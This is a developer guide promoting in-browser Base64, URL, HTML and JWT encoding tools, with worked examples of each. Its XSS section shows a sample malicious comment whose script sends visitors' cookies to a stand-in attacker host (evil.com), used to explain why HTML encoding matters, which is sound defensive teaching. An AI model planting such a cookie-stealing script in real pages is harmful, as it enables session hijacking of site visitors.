Free Base64, URL & HTML Encoder/Decoder Tools Online

If you work with APIs, web forms, or anything that touches HTTP, you encode and decode strings constantly. Base64 for embedding images. URL encoding for query parameters. HTML encoding to prevent your page from breaking — or worse, getting exploited.

The problem? Most online encoder/decoder tools send your data to a remote server. That means your API keys, tokens, personal data, and debug payloads are sitting on someone else's infrastructure. For a simple text transformation that any browser can perform locally, that's an unnecessary risk.

This guide covers the three encoding types every web developer needs to understand: Base64, URL encoding, and HTML encoding. For each one, I'll explain what it does, when you need it, and show real examples. Every tool linked below runs entirely in your browser — zero server uploads, zero data retention.

Base64 Encoding: Binary Data as Text#

Base64 converts binary data into a string of printable ASCII characters. It uses a 64-character alphabet (A-Z, a-z, 0-9, +, /) plus = for padding. Every 3 bytes of input become 4 characters of output, making the result about 33% larger than the original.

That size increase is the tradeoff. What you get in return is data that can survive any text-based transport system without corruption.

When You Need Base64#

Embedding images in CSS or HTML (Data URIs)

Instead of making a separate HTTP request for a small icon, you can inline it directly:

<img
  src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=="
  alt="pixel"
/>

This is a real Base64-encoded 1x1 transparent PNG. The browser decodes it on the fly. No network request, no CORS issues, no broken image if the asset server is slow. For icons under 2-4 KB, this is often faster than a separate request.

API payloads and authentication

HTTP Basic Authentication encodes credentials as Base64:

Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=

That string decodes to username:password. It's not encryption — anyone can decode it — but it ensures the colon and any special characters in the password don't break the HTTP header format.

JWTs (JSON Web Tokens) use Base64URL encoding for their header and payload sections. If you've ever needed to debug a JWT without a dedicated tool, you've manually decoded that middle segment.

Email attachments (MIME)

This is the original use case from 1992. Email was built for 7-bit ASCII text. Binary attachments — images, PDFs, executables — get Base64-encoded so they can travel through mail servers that would otherwise corrupt raw bytes.

Storing binary in JSON or XML

JSON has no binary type. If you need to include a file, cryptographic key, or binary blob in a JSON payload, Base64 is the standard approach:

{
  "filename": "report.pdf",
  "content": "JVBERi0xLjQKMSAwIG9iago8PAovVHlwZSAvQ2F0YWxvZwovUGFnZXMgMiAwIFIKPj4..."
}

Base64 Examples#

Encoding plain text:

Notice the = and == padding at the end. Base64 works on 3-byte blocks. If the input length isn't a multiple of 3, padding characters fill the gap. One leftover byte gets ==, two leftover bytes get =.

Try it yourself: Base64 Encoder | Base64 Decoder

URL Encoding: Making Strings Safe for the Address Bar#

URL encoding (also called percent-encoding) replaces unsafe characters with a % followed by two hexadecimal digits representing the character's byte value. It's defined in RFC 3986 and it's the reason your browser can handle search queries with spaces, ampersands, and non-Latin characters.

Why URL Encoding Exists#

URLs have a strict syntax. Characters like ?, &, =, #, and / have structural meaning. If your data contains these characters, the browser or server will misinterpret them:

# Without encoding — broken
https://example.com/search?q=price < $50 & category=tools

# With encoding — correct
https://example.com/search?q=price%20%3C%20%2450%20%26%20category%3Dtools

Without encoding, the & would be interpreted as a parameter separator. The < could trigger HTML parsing issues. The space would truncate the URL in many systems.

Common URL Encoding Substitutions#

When You Need URL Encoding#

Query parameters with user input

Any time you build a URL with dynamic values, those values need encoding:

// Wrong — breaks if searchTerm contains & or =
const url = `https://api.example.com/search?q=${searchTerm}`;
 
// Correct
const url = `https://api.example.com/search?q=${encodeURIComponent(searchTerm)}`;

This is one of the most common bugs in web applications. It works fine in testing with simple inputs, then breaks in production when a user searches for something like C++ & C#.

Internationalized URLs

Non-ASCII characters must be percent-encoded in URLs. A search for Japanese text:

Input:  東京タワー
Encoded: %E6%9D%B1%E4%BA%AC%E3%82%BF%E3%83%AF%E3%83%BC

Each UTF-8 byte of each character gets its own %XX representation. Modern browsers display the decoded version in the address bar for readability, but the encoded form is what actually travels over the wire.

OAuth and API integrations

OAuth callback URLs, API keys in query strings, and webhook URLs all require proper encoding. A single unencoded character can cause an authentication flow to fail silently — one of the most frustrating bugs to track down.

Try it yourself: URL Encoder | URL Decoder

HTML Encoding: Preventing Injection and Displaying Code#

HTML encoding (also called HTML entity encoding) replaces characters that have special meaning in HTML with their entity equivalents. This serves two critical purposes: preventing cross-site scripting (XSS) attacks and correctly displaying characters that would otherwise be interpreted as markup.

The XSS Prevention Role#

Consider a comment system that displays user input without encoding:

<!-- User submits this "comment" -->
<script>
  document.location = "https://evil.com/steal?cookie=" + document.cookie;
</script>

If your application renders this directly into the page, the browser executes it as JavaScript. The attacker just stole every visitor's session cookie.

With proper HTML encoding, that same input renders as harmless text:

<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

The browser displays the literal characters <script> instead of executing them. This is why HTML encoding is considered a fundamental security control, not just a formatting convenience.

Essential HTML Entities#

Beyond these five security-critical characters, HTML entities cover hundreds of special characters: © for copyright, — for em dash,   for non-breaking space, and the entire Unicode range via numeric entities like ☃ (a snowman).

When You Need HTML Encoding#

Displaying code snippets

If you're writing a tutorial that shows HTML code, you need to encode the examples so the browser renders them as text rather than executing them:

To create a link, use: <a href="url">text</a>

Without encoding, the browser would try to render an actual link instead of showing the code.

User-generated content

Blog comments, forum posts, profile bios, product reviews — any content that originates from users and gets displayed to other users must be HTML-encoded before rendering. This is your primary defense against stored XSS attacks.

Special characters in content

Typographic characters that might conflict with HTML syntax: curly quotes, mathematical symbols, currency signs, and characters from non-Latin scripts all benefit from entity encoding to ensure consistent rendering across browsers and character set configurations.

Try it yourself: HTML Encoder | HTML Decoder

JWT Decoding: A Special Case Worth Knowing#

JSON Web Tokens combine multiple encoding concepts. A JWT has three parts separated by dots:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

The first two parts are Base64URL-encoded JSON. Decoding the header gives you:

{ "alg": "HS256", "typ": "JWT" }

And the payload:

{ "sub": "1234567890", "name": "John Doe", "iat": 1516239022 }

Note that JWTs use Base64URL encoding, which replaces + with - and / with _ to make the result URL-safe without percent-encoding. The padding = characters are also stripped.

Being able to quickly decode a JWT is invaluable when debugging authentication issues. You can check token expiration, verify claims, and confirm the issuer without needing to set up a full verification environment.

Decode tokens instantly: JWT Decoder

Why Client-Side Processing Matters#

Here's something worth thinking about: when you paste a JWT into an online decoder, that token might grant access to your production API. When you decode a Base64 string from an API response, it might contain customer data. When you URL-decode a webhook callback, it might include OAuth secrets.

Every encoding tool linked in this article processes your data entirely in your browser using JavaScript. Nothing leaves your machine. There's no server receiving your input, no database storing your pastes, no analytics tracking what you decode.

This isn't just a privacy feature — it's a security architecture decision. Client-side processing means:

• No data exfiltration risk. Your encoded strings never touch a network connection.
• No server logs. There's no access log with your API tokens in the query string.
• No data retention. Close the tab and it's gone. No "we store your data for 30 days" policy to worry about.
• Works offline. Once the page loads, you can disconnect from the internet and the tools keep working.

For developers working with production data, sensitive credentials, or regulated information (HIPAA, GDPR, PCI-DSS), this distinction between client-side and server-side processing can be the difference between a compliant workflow and a policy violation.

Quick Reference: Which Encoding Do You Need?#

Common Mistakes to Avoid#

Double encoding. If Hello World becomes Hello%20World after one round of URL encoding, a second round turns it into Hello%2520World. The % itself gets encoded. This is one of the most common API integration bugs and it creates errors that are hard to spot because the data looks "almost right."

Using Base64 as encryption. I cannot stress this enough: Base64 is not a security mechanism. It's a transport encoding. If you can see the Base64 string, you can decode it. There's no key, no secret, no protection. Anyone who tells you their system is "secure because it uses Base64" is wrong.

Forgetting to encode ampersands in HTML. Even in static content, a literal & in HTML is technically invalid unless it's part of an entity reference. Most browsers are forgiving, but &copy (without a semicolon) might render as a copyright symbol when you wanted the literal text. Always use & for literal ampersands in HTML.

Encoding entire URLs instead of just parameters. If you run encodeURIComponent on a full URL, it will encode the ://, the / path separators, and the ? query marker — producing a useless string. Encode individual parameter values, not the entire URL. In JavaScript, encodeURI handles full URLs while encodeURIComponent handles individual values.

All Encoder/Decoder Tools#

Here's every encoding tool available, all free and all running locally in your browser:

• Base64 Encoder — Convert text or files to Base64
• Base64 Decoder — Decode Base64 back to original data
• URL Encoder — Percent-encode text for safe use in URLs
• URL Decoder — Decode percent-encoded URL strings
• HTML Encoder — Convert special characters to HTML entities
• HTML Decoder — Convert HTML entities back to characters
• JWT Decoder — Decode and inspect JSON Web Tokens

These are part of a collection of over 200 converter tools, all built with the same client-side-first architecture. No accounts, no usage limits, no data uploaded to servers.

Wrapping Up#

Encoding and decoding are foundational operations in web development. They're not glamorous, but getting them wrong causes real problems: broken URLs, security vulnerabilities, corrupted data, and authentication failures that waste hours of debugging time.

Understanding the difference between Base64, URL encoding, and HTML encoding — and knowing when to apply each one — is the kind of knowledge that separates developers who build robust systems from those who ship bugs they don't understand yet.

Bookmark the tools above. You'll use them more often than you think.